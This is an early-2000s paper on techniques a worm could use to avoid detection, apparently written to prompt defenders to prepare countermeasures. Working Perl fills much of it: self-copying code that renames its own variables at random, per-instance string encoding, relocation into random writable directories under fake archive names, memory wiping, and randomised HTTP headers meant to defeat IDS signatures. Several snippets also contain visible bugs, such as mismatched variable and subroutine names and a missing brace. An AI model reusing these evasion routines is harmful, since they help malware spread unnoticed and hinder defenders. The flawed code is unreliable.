TECHNIQUES A WORM MIGHT USE TO BE HARDER TO LOCATE.
Written by One Semicolon
me@onesemicolon.cjb.net
http://onesemicolon.cjb.net
February 22, 2002
- [1] - Introduction - why and what
A little while back we had a wave of worms. During the wave there
were a lot of people writing about infection rates. Code Red for example
quickly ballooned in size and infected a great amount of people in a
relatively short period of time. There were ideas on how to infect more
computers in shorter amounts of time but no one had ideas on how to hide
the activities of the worms.
Shortly after a worm appears to have an impact a lot of quickly programmed
cleaners are created for the "worm du jour". Even though they are two minute
creations they work surprisingly well.
Worms have changed very little compared to the first worm years and years
ago. They have changed very little because there was no need to. Recently
a lot more attention was given to worms and because of that there is more
awareness. Awareness means that writers of worms will need to do a better
job at making their code stay hidden from the sight of administrators.
I believe it is a good idea to philosophize about what may be ahead so we
can have the antidote ready for anything that may come up. Perhaps if a lot
of people are prepared for any worm that comes up, worms will not be as
interesting as they were once before.
This paper will discuss different things a worm might do in the future.
Snippets of code are included. These snippets are written in Perl.
Even if you do not program in Perl, this paper might be interesting just for
the ideas that it has.
The snippets of code are explained in such a way that even a person new to
Perl will be able to understand it. My apologies if that frustrates some of
the more knowledgeable people among us.
- [2.1] - The shape of the code - Introduction
The trouble is that when viewing a Perl file one can see the code and
usually figure out what the code does. Another problem is that a static
script or binary are easy to find. In this chapter I'd like to go over some
ways to make the code harder to read and at the same time "irregular". Every
instance of the code or infection of a computer should be different.
An example program tying everything in this chapter together is in appendix
A.1.
- [2.2] - The shape of the code - Making it work
To change the code we need to create a new instance of it to work
with.
1 : open (SELF, "<$0");
2 : @self = <SELF>;
This right away shows our issue: It is crystal clear what is happening. The
variable and file handle make sense. So we need something to replace them
with. What we should create is a simple random variable generator.
1 : $randomlength = int(rand(4));
2 : $randomlength += 5;
3 : for ($variable = 0; $variable <= $randomlength; $variable++) {
4 : $randomchar = int(rand(26));
5 : $randomchar += 97;
6 : $randomvariable .= chr($randomchar);
7 : }
8 : print "$randomvariable\n";
This snippet first creates a random number between 5 and 9 for the length of
the variable this creates. Then it goes on to create a variable name from
all the letters in the alphabet and prints the result out.
Perl does not care how many spaces there are in the script so we can add
random extra spacing as well.
1 : open (SELF, "<$0");
2 : @self = <SELF>;
3 : open (NEXT, ">$ARGV[0]");
4 : foreach $line (@self) {
5 : $coin = int(rand(3));
6 : if ($dice == 0) { $line =~ s/ / /g; }
7 : if ($dice == 1) { $line =~ s/ / /g; }
8 : $line =~ s/ / /g;
9 : print NEXT $line;
10 : }
11 : close (NEXT);
Here is a quick solution to get random spacing on a per line basis.
In A.1 you will see code that when run changes all names of variables, subs,
file handles, etc. and outputs itself to a random file name in the directory
it is run in. The major addition to the code in the appendix is that it
shows how to change the names of everything reliably so when the file that
is put out is run, it will work as well.
When reading this, the resulting obfuscation may not sound like much, but
wait until you actually see the result after running the code once before
giving your opinion. You will see that it is highly effective.
The example in the appendix has strings in it that a hard drive could be
searched for. These are just there so you can read what is going on.
- [3.1] - Hiding hard coded information - Introduction
Sometimes a worm has to have information in it that cannot be changed
for example, a worm may want to try to flood www.microsoft.com. Putting
www.microsoft.com in your code is going to make obvious that whatever the
code does, it does at least *something* with www.microsoft.com.
Another problem is that the worm could easily be locating by searching the
hard drive for a string that is relatively unique to the worm. In this
chapter I will write about a simple way to hide information.
- [3.2] - Hiding hard coded information - Making it work
A worm that needs to hide information has no need for very good
encryption as the way to decrypt the information would be located in the
same file. A solution to hiding files would be a form of a Caesarean
encryption. An example of that would be ROT13 encryption where each letter
is replaced with a letter thirteen characters down in the alphabet. The
following table illustrates this.
[letters]
[ alphabet ][ a b c d e f g h i j k l m n o p q r s t u v w x y z ]
[ ROT13 ][ n o p q r s t u v w x y z a b c d e f g h i j k l m ]
ROT13 encryption only rotates letters. It does not take care of digits nor
punctuation. If someone would want to hide an email address it would not be
hidden properly.
me@onesemicolon.cjb.net would turn into zr@barfrzvpbyba.pwo.arg. We can see
this is an email address because the "@" is still visible as are the dots.
Another problem with using the same encryption for every instance is that it
creates excellent strings to search a hard drive for.
To solve that, a worm would need to have encryption that changes for every
instance of itself. A simple way of achieving this is to have a variable
containing an amount of "rotations" to be performed on a to be encoded or
decoded item. One rotation would be one transposition of characters. In the
following example we see how a value can easily be encoded and decoded.
1 : $code = "me\@onesemicolon.cjb.net";
2 : $rotate = 341251;
3 :
4 : print "to encode - $code\n";
5 : $encrypted = &encrypt($code);
6 : print "encrypted - $encrypted\n";
7 : $decrypted = &decrypted($encrypted);
8 : print "decrypted - $decrypted\n";
9 :
10 : sub encrypt {
11 : my ($toencrypt) = @_;
12 : for ($rotcount = 0; $rotcount <= $rotate; $rotcount++) {
13 : $toencrypt =~ tr/a-z@A-Z.0-9/0-9.@A-Za-z/;
14 : }
15 : return $toencrypt;
16 : }
17 :
18 : sub decrypt {
19 : my ($todecrypt) = @_;
20 : for ($rotcount = 0; $rotcount <= $rotate; $rotcount++) {
21 : $todecrypt =~ tr/0-9.@A-Za-z/a-z@A-Z.0-9/;
22 : }
When run we can see the line that will be worked with. Then we see the
string after letting it go through our mangler 341251 times. Then we have it
decrypted again. Right now the decryption and encryption code are in their
own subroutines. That way they can be called as needed.
If the amount of iterations per instance of the code is to be different a
piece of code would be needed to replace the amount of rotations. Because
this is a number and not a string we cannot place it in @switchthese (see
A.1). At the moment there is only one number that needs replacing. In the
following example we see a simple subroutine that replaces a number.
1 : $rotate = 34125;
2 : $rotreplace = int(rand(500000));
3 : open (SELF, "<$0");
4 : @self = <SELF>;
5 : close (SELF);
6 : foreach $line (@self) {
7 : if ($line =~ /$rotate/) {
8 : $line = '$rotate = ' . "$rotreplace;\n";
9 : }
10 : print $line;
11 : }
To get the most out of this idea, anything hard coded would be mangled up.
In appendix A.2 you will see an example that does everything that A.1 does
but also decodes and encrypts an array every instance of the code run. It
has a number of rotations that changes as well every time the code is run.
You will want to give line 37 special attention because there is a slight
issue you have to think of. When a Perl program works with a string with a
@ in it, sometimes it will think it is accessing an array. To prevent that,
a backslash is needed. Line 37 has a solution for that issue and is fit
right into the portion of the code where the lines for the next instance of
the code is being prepared.
- [4.1] - Roaming - Introduction
It is now clear that code can easily be manipulated so it is harder
to read and different for every instance of it. In this chapter I'd like to
offer a few examples showing how a worm could potentially hide itself in a
file system. First by "relocating" the code into an entirely different
directory and secondly by adapting the filename to the other files in the
directory the code moves to.
- [4.2] - Roaming - Relocating
When one wants to hide the code in the file system, that person may
want to make it as random as possible. The code snippet below goes down a
random amount of directories and then works it's way up a random amount of
directories again. A lot of potential targets of a worm are computers that
would work with permissions and as thus the attack vector may not give
complete control over the system. In those instances it is important to put
the relocation portion of the code within a do loop that makes sure that the
new target is actually writable (see line 3 and 17).
1 : $traverse = "../" x int(rand(15));
2 :
3 : do {
4 : for ($tracount = 0; $tracount <= int(rand(15)); $tracount++) {
5 : @listing = <$traverse*>;
6 :
7 : $dircount = 0; foreach $entry (@listing) {
8 : if (-d ("$traverse" . "$entry")) {
9 : $directory[$dircount] = "$traverse" . "$entry/";
10 : $dircount++;
11 : }
12 : } $dircount--;
13 :
14 : $choose = int(rand(@directory));
15 : $traverse = $directory[$choose] if defined $directory[$choose];
16 : }
17 : } until (-w $traverse);
18 :
19 : open (SELF, "<$0");
20 : @self = <SELF>;
21 : close (SELF);
22 : open (NEW, ">$traverse$0");
23 : print NEW @self;
24 : close (NEW);
25 : print "Moved to $traverse$0\n";
- [4.3] - Roaming - Adapting
Once a worm relocates itself to the /home/someuser for example, it
will be rather obvious if the file is named dev[1-500] as was done in A.1
and A.2. If a worm were to move itself around in the file system, it would
most likely adapt itself to the other files in the directory.
A bad solution would involve some kind of default name to revert to: In that
case the worm is easy to find in virtually any operating system. When
adapting a file name it is good to consider what parts of the file system
the file would most likely relocate to. What if the worm is limited to files
in a ftp folder with tar.gz'd files? Or .c's? Or directories with a lot of
different versions of one file?
The following snippet of code opens the directory it is run in and takes a
random file. It cuts off any extensions like .pl, .txt, etc. if present and
then puts a random number and .tar.gz behind the file name.
1 : @dirlisting = <*>;
2 :
3 : $entrylength = @dirlisting;
4 : $luckyfile = int(rand($entrylength));
5 : $file = $dirlisting[$luckyfile];
6 : $rand = int(rand(2));
7 :
8 : until ($file !~ /\./) { ($file, $junk) = split (/\./, $file); }
9 : $file = "$file$rand.tar.gz";
10 : print $file;
We can see that a number is added to the file name in this example. The
reason a number should be added, or some other kind of change is to be made,
is illustrated by the following example.
Say
$luckyfile = "someprogram.tar.gz";
and there were no lines in the code taking care of $rand. Then
someprogram.tar.gz would revert to someprogram because of the until loop and
then get .tar.gz again, meaning someprogram.tar.gz would either be
overwritten or the worm would be unable to replicate.
In A.3 you will see an example that incorporates everything in this chapter
with the other chapters. The add spacing code has been removed from this
example to keep the code from being too repetitive.
- [5.1] - Memory management - Introduction
In this chapter I would like to quickly cover cleaning out the memory
from values that can be recognized by someone as being related to a specific
worm. Many programs work with data that is only needed temporarily and can
then be freed up/undefined to release memory for usage. The same goes
counts for worms. In the future we may encounter worms that make sure no
values that can indicate they are around stay in memory.
- [5.2] - Memory management - How it works
In chapter 3 a easy way to hide hard coded values was shown. At one
point the decoded value was assigned to memory. Hiding hard coded values
will be useless to a worm writer if the values can be taken from memory.
That is why we might see constructs like the following in the future.
1 : $code = "Coded.by.One.Semicolon";
2 : print "normal - $code\n";
3 : $code = &clean("code");
4 : print "cleaned - $code\n";
5 : undef ($code);
6 :
7 : sub clean {
8 : my ($toclean) = @_;
9 : $clnlength = length(${$toclean});
10 : for ($clncount = 0; $clncount < $clnlength; $clncount++) {
11 : $replacement .= chr(int(rand(256)));
12 : }
13 : ${$toclean} = $replacement;
14 : }
$code has the decoded value and just the name of the variable is passed to
the subroutine. The subroutine receives the name of the variable to work
with and finds out how long it is. Then a replacement string is generated
and then assigned.
This leaves the following waste:
$toclean (name of the variable), $clnlength (length of the variable) and the
replacement string appears in two locations ($code, $replacement).
In A.4 you will find a slightly larger example of this, although replacing
one value with another is very straightforward.
- [6.1] - Acting Normal - Introduction
When Code Red was infecting the internet, anyone with a HTTP server
was getting logs full of computers that were clearly infected. Up to a point
a HTTP request to a random IP address can be hidden: you will always have to
try and make a connection the port involved. Verifying if a computer is
vulnerable will certainly be made far more discrete when a open port has
been found.
Worm writers have to make their code work on as many computers as
possible, to be as effective as possible. Because of that, programming code
would be written with basic API's, modules or whatever may be required.
There is no sense to write code to include a function that is only available
on a small percentage of vulnerable computers. The only reason a worm writer
may choose to do so after all is because it is needed as part of the exploit
itself.
The last two paragraphs may seem to be very different subjects, but in this
chapter they are combined. Using a general Perl module I would like to show
a way to make a HTTP GET request look both valid and different every time
such a request is made.
- [6.2] - Acting Normal - HTTP
In this section I will offer two simple examples how a worm could
disguise itself. If a worm searches for computers with a vulnerable HTTP
server, one way to make the requests look like something they are not is to
make it look like a normal request.
Obviously one would say, but it is a bit more complex than it appears. First
you have to consider the things a normal browser sends. I set up a simple
Perl server on port 8008 to record the request a browser makes. Below is the
result I got from Internet Explorer 5.5 when requesting
http://localhost:8008. See appendix B.1 for other browsers.
GET / HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Accept-Language: en-ca
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)
Host: localhost:8008
Connection: Keep-Alive
There is quite a bit of information that a browser sends out before
receiving anything. You can see that the Accept-Language it set to Canada.
An interesting thing to notice is that my test setup was running Windows ME
and not Windows 98 as claimed in the User-Agent field.
In the following example IO::Socket is used to make a simple connection and
get the main page of a web site. Usage: Perl example.pl www.server.com 80.
1 : use IO::Socket;
2 :
3 : $remote = IO::Socket::INET->new (
4 : PeerAddr => "$ARGV[0]",
5 : PeerPort => "$ARGV[1]",
6 : Proto => "tcp",
7 : ) || die "trying";
8 :
9 : print $remote "GET / HTTP/1.0\n\n";
10 : while ( <$remote> ) { print }
"GET / HTTP/1.0" does not look like a very normal browser request. In the
following example a request for a website in the style that Netscape 4.73
would make one is duplicated. You will find that the connection stays open
because of the "Connection: Keep-Alive" line that Netscape 4.73 sends in a
GET request.
1 : use IO::Socket;
2 :
3 : $remote = IO::Socket::INET->new (
4 : PeerAddr => "$ARGV[0]",
5 : PeerPort => "$ARGV[1]",
6 : Proto => "tcp",
7 : ) || die "trying";
8 :
9 : print $remote "GET / HTTP/1.0
10 : Connection: Keep-Alive
11 : User-Agent: Mozilla/4.73 (Win95; U)
12 : Host: $ARGV[0]:$ARGV[1]
13 : Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
14 : Accept-Encoding: gzip
15 : Accept-Language: en
16 : Accept-Charset: iso-8859-1,*,utf-8\n\n";
17 :
18 : while ( <$remote> ) { print }
Although the code above does generate a normal looking request you do not
have to expect it in any worm code any time soon. If the request is the same
for every connection it will just become a different fingerprint left behind
and will not add anything useful to the worm. Below is code that shows
different ways one request can be altered to look slightly different
every time to make it harder to find something that is specific to the worm
only.
1 : use IO::Socket;
2 :
3 : @choices_agent_ver = ( "4.7", "4.72", "4.73", "4.74",
4 : "4.75", "4.76", "4.78" );
5 : $choices_agent_len = @choices_agent_ver;
6 : $choice_agent_nr = int(rand($choices_agent_len));
7 : $choice_agent = $choices_agent_ver[$choice_agent_nr];
8 :
9 : @accept = ( "image/gif", "image/x-xbitmap",
10 : "image/jpeg", "image/pjpeg",
11 : "image/png" );
12 : $acceptlen = @accept;
13 :
14 : for ($cnt = 0; $cnt <= int(rand($acceptlen)); $cnt++) {
15 : $grab = int(rand($nacceptlen));
16 : $acceptstring .= "$accept[$grab], ";
17 : splice (@accept, $grab, 1);
18 : $nacceptlen = @accept;
19 : }
20 :
21 : $switchencoding = int(rand(2));
22 :
23 : $request = "GET / HTTP/1.0
24 : Connection: Keep-Alive
25 : User-Agent: Mozilla/$choice_agent (Win95; U)
26 : Host: $ARGV[0]:$ARGV[1]
27 : Accept: $acceptstring*/*
28 : ";
29 : $request .= "Accept-Encoding: gzip\n" if $switchencoding == 0;
30 : $request .= "Accept-Language: en
31 : Accept-Charset: iso-8859-1,*,utf-8\n\n";
32 :
33 : print $request;
34 :
35 : $remote = IO::Socket::INET->new (
36 : PeerAddr => "$ARGV[0]",
37 : PeerPort => "$ARGV[1]",
38 : Proto => "tcp",
39 : ) || die "trying";
40 : print $remote "$request";
41 :
42 : while ( <$remote> ) { print }
The code above show cases three methods a request may be changed, yet still
be valid and indistinguishable from GET requests other visitors to a site
may make.
1) In line 3 to 7 a random User-Agent version is chosen and put into the GET
request.
2) In line 9 to 12 a random amount of random Accept entries are chosen and
put into the GET request.
3) In line 21 a random 0 or 1 is created to decide if the Accept-Encoding
entry should be added or not to the GET request.
Line 23 to 31 puts all of this together into one request to send to the
server. The more changes are made, the harder it becomes to come up with a
way to recognize something that is unique to the worm. If a worm uses
several different browser "footprints" that are all very different, yet are
still legitimate, it will be impossible to create a IDS signature for it as
it will cause false positives to occur. Consider a normal person using their
web browser and their surfing looks like a worm request? The log coming from
the IDS system will be useless. By shutting out the worm you shut
out normal users and by allowing normal users you are allowing the worm.
- [7] - Closing
This raises an interesting issue: how can you find out if a
particular server has been infected or not if after this paper is finished
and everything has been implemented?
Right now I don't know of any ways to be completely different every time,
but possible only to locate by its brother and sister infections. The one
excludes the other, which creates a sliver of hope for anyone hoping to at
least retain the capability to locate a worm.
The frustrating part is that one can write a worm to be like a suicide
bomber. A worm could be made to repetitively infect vulnerable computers
creating the effect of having the computers the worms live on collapse under
the pressure of the processes and bandwidth involved.
I would like to add a few things before I let the appendix end this paper.
For one, the code in this paper is anything but cut and paste. Anyone
with half a brain can figure out that you could search a hard drive for a
file with X amount of "int(rand("'s.
Secondly, The code is offered as an example from which one can jump to
create antidotes. The paper is great as a beginning to think up more
intricate and better implementations to find a solution for.
Thirdly, consider taking all I wrote and finding ways around it: think of
how there are empty lines between sub routines, how the program is ordered
in the way of a normal program. Can the order of the sub routines and the
amount of lines they each have give us something to recognize the worm by?
This paper gives us something to work with.
1;
- [A.1] - Appendix - Example program for chapter 2
1 : open (SELF, "<$0");
2 : @self = <SELF>;
3 : close (SELF);
4 :
5 : @switchthese = ("OUT2FILE", "SELF",
6 : "addspacing", "createsubstitutes",
7 : "coin", "counter", "entry",
8 : "length", "line", "randomchar",
9 : "randomlen", "randomvar", "self",
10 : "swcounter", "switchthese", "variable");
11 :
12 : &createsubstitutes;
13 :
14 : $dev = "dev" . int(rand(500));
15 : print "Spawned a clone to $dev\n";
16 :
17 : open (OUT2FILE, ">$dev");
18 : foreach $line (@self) {
19 : for ($swcounter = 0; $swcounter <= $length; $swcounter++) {
20 : $line =~ s/$switchthese[$swcounter]/$randomvar[$swcounter]/g;
21 : &addspacing;
22 : }
23 : print OUT2FILE $line;
24 : }
25 : close (OUT2FILE);
26 :
27 : sub createsubstitutes {
28 : $length = @switchthese; $length--;
29 : for ($counter = 0; $counter <= $length; $counter++) {
30 : $randomlen = int(rand(4));
31 : $randomlen += 5;
32 : for ($variable = 0; $variable <= $randomlen; $variable++) {
33 : $randomchar = int(rand(26));
34 : $randomchar += 97;
35 : $randomvar[$counter] .= chr($randomchar);
36 : }
37 : }
38 : }
39 :
40 : sub addspacing {
41 : $coin = int(rand(3));
42 : if ($coin == 0) { $line =~ s/ / /g; }
43 : if ($coin == 1) { $line =~ s/ / /g; }
44 : $line =~ s/ / /g;
45 : }
- [A.2] - Appendix - Example program for chapter 3
1 : open (SELF, "<$0");
2 : @self = <SELF>;
3 : close (SELF);
4 :
5 : $code[0] = "IAWKJAqAI2aKHKJ8ahk8JAd";
6 : $code[1] = "ZK\@A\@8kG8lJA8bAI2aKHKJ";
7 : $lenofen = @code;
8 :
9 : $rotate = 34125;
10 :
11 : $rotreplace = int(rand(500000));
12 :
13 : @switchthese = ("OUT2FILE", "SELF",
14 : "addspacing", "createsubstitutes",
15 : "encrypt", "decrypt",
16 : "code", "coin", "counter",
17 : "enccounter", "entry", "length",
18 : "lenofen", "line", "randomchar",
19 : "randomlen", "randomvar", "rotate",
20 : "rotreplace", "self", "swcounter",
21 : "switchthese", "variable");
22 :
23 : &createsubstitutes;
24 :
25 : $dev = "dev" . int(rand(500));
26 : print "Spawned a clone to $dev\n";
27 :
28 : open (OUT2FILE, ">$dev");
29 : foreach $line (@self) {
30 : if ($line =~ /$rotate/) { $line = '$rotate = ' . "$rotreplace;\n"; }
31 : for ($enccounter = 0; $enccounter <= $lenofen; $enccounter++) {
32 : if ($line =~ /^\$code\[$enccounter\]/) {
33 : $oldc = &decrypt ($code[$enccounter]);
34 : print "$oldc\n";
35 : $newc = &encrypt ($oldc);
36 : $line = '$code[' . "$enccounter] = \"$newc\";\n";
37 : $line =~ s/\@/\\\@/g;
38 : print "$line";
39 : }
40 : }
41 : for ($swcounter = 0; $swcounter <= $length; $swcounter++) {
42 : $line =~ s/$switchthese[$swcounter]/$randomvar[$swcounter]/g;
43 : &addspacing;
44 : }
45 : print OUT2FILE $line;
46 : }
47 : close (OUT2FILE);
48 :
49 : sub createsubstitutes {
50 : $length = @switchthese; $length--;
51 : for ($counter = 0; $counter <= $length; $counter++) {
52 : $randomlen = int(rand(4));
53 : $randomlen += 5;
54 : for ($variable = 0; $variable <= $randomlen; $variable++) {
55 : $randomchar = int(rand(26));
56 : $randomchar += 97;
57 : $randomvar[$counter] .= chr($randomchar);
58 : }
59 : }
60 : }
61 :
62 : sub addspacing {
63 : $coin = int(rand(3));
64 : if ($coin == 0) { $line =~ s/ / /g; }
65 : if ($coin == 1) { $line =~ s/ / /g; }
66 : $line =~ s/ / /g;
67 :
68 : sub encrypt {
69 : my ($toencrypt) = @_;
70 : for ($rotcount = 0; $rotcount <= $rotreplace; $rotcount++) {
71 : $toencrypt =~ tr/a-z@A-Z.0-9/0-9.@A-Za-z/;
72 : }
73 : return $toencrypt;
74 : }
75 :
76 : sub decrypt {
77 : my ($todecrypt) = @_;
78 : for ($rotcount = 0; $rotcount <= $rotate; $rotcount++) {
79 : $todecrypt =~ tr/0-9.@A-Za-z/a-z@A-Z.0-9/;
80 : }
81 : return $todecrypt;
82 : }
- [A.3] - Appendix - Example program chapter 4
1 : open (SELF, "<$0");
2 : @self = <SELF>;
3 : close (SELF);
4 :
5 : $code[0] = "IAWKJAqAI2aKHKJ8ahk8JAd";
6 : $code[1] = "ZK\@A\@8kG8lJA8bAI2aKHKJ";
7 : $lenofen = @code;
8 :
9 : $rotate = 34125;
10 :
11 : $rotreplace = int(rand(500000));
12 :
13 : @switchthese = ("OUT2FILE", "SELF",
14 : "createsubstitutes", "encrypt",
15 : "decrypt", "newname",
16 : "choose", "code", "coin",
17 : "counter", "dircount", "directory",
18 : "dirlist", "elen", "enccounter",
19 : "entry", "filename", "length",
20 : "lenofen", "line", "listing",
21 : "luckyfile", "newc", "oldc",
22 : "randomadd", "randomchar", "randomlen",
23 : "randomvar", "rotate", "rotcount",
24 : "rotreplace", "self", "swcounter",
25 : "switchthese", "todcrypt", "toecrypt",
26 : "traverse", "variable");
27 :
28 : &createsubstitutes;
29 : &newname;
30 :
31 : open (OUT2FILE, ">$filename");
32 : foreach $line (@self) {
33 : if ($line =~ /$rotate/) { $line = '$rotate = ' . "$rotreplace;\n"; }
34 : for ($enccounter = 0; $enccounter <= $lenofen; $enccounter++) {
35 : if ($line =~ /^\$code\[$enccounter\]/) {
36 : $oldc = &decrypt ($code[$enccounter]);
37 : print "$oldc\n";
38 : $newc = &encrypt ($oldc);
39 : $line = '$code[' . "$enccounter] = \"$newc\";\n";
40 : $line =~ s/\@/\\\@/g;
41 : print "$line";
42 : }
43 : }
44 : for ($swcounter = 0; $swcounter <= $length; $swcounter++) {
45 : $line =~ s/$switchthese[$swcounter]/$randomvar[$swcounter]/g;
46 : }
47 : print OUT2FILE $line;
48 : }
49 : close (OUT2FILE);
50 : exit;
51 :
52 : sub createsubstitutes {
53 : $length = @switchthese; $length--;
54 : for ($counter = 0; $counter <= $length; $counter++) {
55 : $randomlen = int(rand(4));
56 : $randomlen += 5;
57 : for ($variable = 0; $variable <= $randomlen; $variable++) {
58 : $randomchar = int(rand(26));
59 : $randomchar += 97;
60 : $randomvar[$counter] .= chr($randomchar);
61 : }
62 : }
63 : }
64 :
65 : sub decrypt {
66 : my ($todcrypt) = @_;
67 : for ($rotcount = 0; $rotcount <= $rotate; $rotcount++) {
68 : $todcrypt =~ tr/0-9.@A-Za-z/a-z@A-Z.0-9/;
69 : }
70 : return $todcrypt;
71 : }
72 :
73 : sub encrypt {
74 : my ($toecrypt) = @_;
75 : for ($rotcount = 0; $rotcount <= $rotreplace; $rotcount++) {
76 : $toecrypt =~ tr/a-z@A-Z.0-9/0-9.@A-Za-z/;
77 : }
78 : return $toecrypt;
79 : }
80 :
81 : sub newname {
82 : $traverse = "../" x int(rand(15));
83 :
84 : do {
85 : for ($tracount = 0; $tracount <= int(rand(15)); $tracount++) {
86 : opendir (DIR, "$traverse");
87 : readdir (DIR); readdir (DIR);
88 : undef (@listing); undef (@directory);
89 : @listing = readdir (DIR);
90 : closedir (DIR);
91 :
92 : $dircount = 0; foreach $entry (@listing) {
93 : if (-d ("$traverse" . "$entry")) {
94 : $directory[$dircount] = "$traverse" . "$entry/";
95 : $dircount++;
96 : }
97 : } $dircount--;
98 :
99 : $choose = int(rand(@directory));
100: $traverse = $directory[$choose] if defined $directory[$choose];
101: }
102: } until (-w $traverse);
103:
104: opendir (DIR, "$traverse");
105: readdir (DIR); readdir (DIR);
106: @dirlist = readdir (DIR);
107: closedir (DIR);
108:
109: $elen = @dirlist;
110: $luckyfile = int(rand($elen));
111: $filename = $dirlist[$luckyfile];
112: $randomadd = int(rand(2));
113:
114: until ($filename !~ /\./) {
115: ($filename, $junk) = split (/\./, $filename);
116: }
117: $filename = $traverse . $filename . $randomadd . ".tar.gz";
118: print "Spawning $filename\n";
119: }
- [A.4] - Appendix - Example program for chapter 6
1 : $code = "Coded.by.One.Semicolon";
2 : $rotate = 34125;
3 :
4 : print "to encode - $code\n";
5 : $encrypted = &encrypt($code);
6 : print "encrypted - $encrypted\n";
7 : $decrypted = &decrypt($encrypted);
8 : print "decrypted - $decrypted\n";
9 : $decrypted = &clean("decrypted");
10 : print "cleaned - $decrypted\n";
11 :
12 : sub encrypt {
13 : my ($toencrypt) = @_;
14 : for ($rotcount = 0; $rotcount <= $rotate; $rotcount++) {
15 : $toencrypt =~ tr/a-z@A-Z.0-9/0-9.@A-Za-z/;
16 : }
17 : return $toencrypt;
18 : }
19 :
20 : sub decrypt {
21 : my ($todecrypt) = @_;
22 : for ($rotcount = 0; $rotcount <= $rotate; $rotcount++) {
23 : $todecrypt =~ tr/0-9.@A-Za-z/a-z@A-Z.0-9/;
24 : }
25 : return $todecrypt;
26 : }
27 :
28 : sub clean {
29 : my ($toclean) = @_;
30 : $clnlength = length(${$toclean});
31 : for ($clncount = 0; $clncount < $clnlength; $clncount++) {
32 : $replacement .= chr(int(rand(256)));
33 : }
34 : ${$toclean} = $replacement;
35 : }
- [B.1.1] - Browser footprints - Note
Some browsers have large Accept, Accept-Charset fields. They have
been moved to the next line and are noted by an indent.
- [B.1.2] - Browser footprints - Netscape 4.73
GET / HTTP/1.0
Connection: Keep-Alive
User-Agent: Mozilla/4.73 (Win95; U)
Host: localhost:8008
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
- [B.1.3] - Browser footprints - Netscape 6.1
GET / HTTP/1.1
Host: localhost:8008
User-Agent: Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:0.9.2)
Gecko/20010726 Netscape6/6.1
Accept: text/xml, application/xml, application/xhtml+xml, text/html;q=0.9,
image/png, image/jpeg, image/gif;q=0.2, text/plain;q=0.8, text/css,
*/*;q=0.1
Accept-Language: en-us
Accept-Encoding: gzip,deflate,compress,identity
Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66
Keep-Alive: 300
Connection: keep-alive
- [B.1.4] - Browser footprints - Opera 6
GET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 6.0 [en]
Host: localhost:8008
Accept: text/html, image/png, image/jpeg, image/gif, image/x-xbitmap, */*
Accept-Language: en
Accept-Charset: iso-8859-1,utf-8,iso-2022-jp,shift_jis,big5,utf-16,euc-jp,
euc-kr,x-gbk,hz-gb-2312,euc-tw,koi8-r,koi8-u,viscii,windows-sami-2,
ibm866,iso-8859-2,iso-8859-3,iso-8859-4,iso-8859-5,iso-8859-6,
iso-8859-7,iso-8859-8,iso-8859-9,iso-8859-10,iso-8859-11,iso-8859-13,
iso-8859-14,iso-8859-15,windows-1258,windows-1251,windows-1250,
windows-1253,windows-1252,windows-1255,windows-1254,windows-1257,
windows-1256,windows-sami-2
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Connection: Keep-Alive
- [B.1.5] - Browser footprints - Internet Explorer 5.50.4134.0100
GET / HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Accept-Language: en-ca
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)
Host: localhost:8008
Connection: Keep-Alive